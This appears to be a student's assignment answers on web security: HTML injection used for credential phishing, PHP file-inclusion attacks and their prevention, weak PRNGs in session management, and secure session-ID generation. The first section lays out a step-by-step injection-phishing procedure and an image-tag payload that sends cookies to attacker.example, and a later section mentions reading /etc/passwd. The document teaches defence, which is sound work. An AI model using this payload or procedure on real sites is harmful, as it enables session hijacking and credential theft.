1. Describe how an HTML-attack could be abused to gain access to credentials.

There are various ways to get access to a user's credentials. The prerequisite is a website with an exploitable HTML injection, with insufficient input and output sanitation. For example, a used GET parameter whose content is rendered unchecked by the browser.

An example process is explained below:

1. Identify a vulnerable website.
2. Craft the malicious html payload, which includes a fake login form pointing to the attackers server, optionally with hidden JavaScript code (to submit it with a XML-Request instead of action value).
3. Inject the payload, e.g. into the GET parameter and send the link to the target.
4. The (unsuspecting) user clicks on the link and visits the website. The browser renders the hidden payload.
5. The user enters his credentials and submits it.
6. The hidden JavaScript captures the credentials and send them to the attackers server

More payload examples:

- **Steal user session cookie:** Embed an image-tag with JavaScript code like the following:

  ```
  <img src="x" onerror="javascript:document.location='https://attacker.example/steal_cookie?
  cookie='+encodeURIComponent(document.cookie);" />
  ```

  This reads the website's cookie and allows the attacker unauthorized access.
- **Double form tag:** Nested form tags are not allowed. If the attacker manages to inject a custom form tag with its own action parameter before the original tag, the original form tag will be ignored.
- **Abuse Browser autofill:** Common browsers automatically fill email and password fields with the appropriate values for the visited website. With a suitable hidden form, it may be possible to read out the credentials using JavaScript.

2. Explain how PHP-code-injections via include / require could be achieved - and prevented.

First things first:

- **Local File Inclusion (LFI):**
  This occurs when an attacker can manipulate the input used in an "include" or "require" statement to reference a local file on the server that was not intended to be accessed.
- **Remote File Inclusion (RFI):**
  Like LFI, but this time a remote file hosted on an external server is referenced and used.
  But there are a few pitfalls lurking here. In the case of an RFI, the content of the remote file is evaluated.
  However, if PHP is enabled on the remote server, the content of the interpreted file itself is sent to the victim server and not the pure PHP code. This is because the remote server first tries to execute the PHP file and then returns the result.
  To overcome this, one must either disable the PHP interepter on the remote server, or use a different file extension than .php. For example a .txt file with the PHP code as content.

  Referring to the example from Section 6.1.2.1, this means that the phpinfo() function is executed on the remote server and the HTML result is passed back to the include statement. Since this is not valid PHP code, the HTML code is simply embedded in the page and not executed.

In both cases, the file used is executed in the context of the web application.

Basically, there is the same problem as with all injection attacks: Dynamic user input is not correctly filtered and sanitized. If these inputs are now passed unchecked to include and require, it is possible to run your own PHP code.
Simple examples for LFI and RFI can be found in chapters 6.1.2.1 and 6.2.2.2.

Using the two statements, not only PHP code can be executed, but other file types can also be read. A classic example is the /etc/passwd file on Unix systems. The information from this can be a starting point for further attacks, e.g. testing targeted SSH logins.

How to prevent code injections

- Use constants with absolute file paths as mapping. E.g. `?page=contact` gets mapped to `/var/www/html/contact.php`. Otherwise choose a default value.
- Define a whitelist of allowed pages and check if the passed value exists.
- Disable remote file includes and operations. For PHP this would be `allow_url_include=off` and `allow_url_fopen=off`.
- Use proper user sanitation and/or a Web appication Firewall to block malicious inputs.

3. Discuss how PRNGs could put session-management at risk.

A random number generator is primarily a method or algorithm to generate a sequence of random numbers.
Basically, a distinction can be made between deterministic and non-deterministic random number generators:

- **Deterministic**
  The generated random numbers depend on a starting seed. With the same seed, the same random sequence is always generated. They are also called Pseudo Random Number Generators (PRNG). This type of PRNG is often used in programming languages for "simple" random numbers. They quickly generate a sufficiently random-looking random sequence, but it's not "truly" random.
- **Non-deterministic**
  Real random numbers are generated here, which are based on random physical processes. The generated random numbers are therefore not reproducible. /dev/(u)random in Linux is based on this principle. For example, hardware interruptions are used as a source (hard disk access, mouse movements, keystrokes, …).

The random numbers generated and their quality therefore depend on the seed used.
-> A bad seed leads to bad (predictable) random numbers. If such a PRNG is used to generate session IDs, this increases the probability of successful attacks on the current or future sessions of a user.

The effects of poor seed selection can be seen well in PHP < 5.3.2, see: http://samy.pl/phpwn/BlackHat-USA-2010-Kamkar-How-I-Met-Your-Girlfriend-wp.pdf and http://samy.pl/phpwn/

But it's not just poor seed selection that affects safety. The correct use of a suitable random number generator is also crucial.
If PHP's mt_rand function is used to generate a session ID, you can read here why this is a bad idea and how quickly the seed used can be calculated: https://www.openwall.com/php_mt_seed/README

In the context of session management, two types of generators must be distinguished:

- **(Normal) PRNG**
  - Explicitly not intended for cryptographic use
  - Main purpose is to generate sufficiently random (looking) numbers quickly
  - However, entropy of the random numbers is not very high
  - PHP's rand() and mt_rand() functions are such simple PRNGs.
- **Cryptographically Secure PRNG (CSPRNG)**
  - Must meet additional properties and are used for cryptographic operations
  - High entropy of random numbers
  - Slower compared to PRNG, but usually work with larger random numbers
  - Without the seed, it must be impossible to predict the next based on one random number

- Programming languages mostly use the CSPRNG of the operating system. In PHP, the matching function is called random_bytes().
  An overview of the different operating system sources can be found here: https://www.php.net/manual/en/function.random-bytes.php

In summary:

- Use the right PRNG for the right purpose
- Know your tools and use the appropriate features of the programming language
- Use a non-deterministic CSPRNG to generate sessions and don't use predictable seeds.

4. How would secure programming create session IDs?

(a) Use a CSPRNG. The problems with normal PRNGs were explained in Task 3.

(b) Generate sufficiently long IDs, at least 128 bits are recommended (see https://owasp.org/www-community/vulnerabilities/Insufficient_Session-ID_Length).
If the ID's are too short, the probability of a successful brute force attack increases. Collisions in the session IDs would also be conceivable (although unlikely).

(c) Encode the session ID accordingly, for example using Base64. This ensures that all random byte values can be processed, stored and transmitted appropriately (e.g. in a cookie).
This does not constitute an additional layer of security.

Basically, however, you should keep the following in mind: "*Don't roll your own crypto*".
Cryptography in particular requires extensive knowledge in a wide variety of areas such as programming, mathematics and statistics. You can do more wrong than right here. Therefore, it is better to rely on established and well-tested OSS algorithms and protocols that are regularly audited by experts, rather than building your own systems.
But it's important to know how these things work in order to properly evaluate them for their intended use.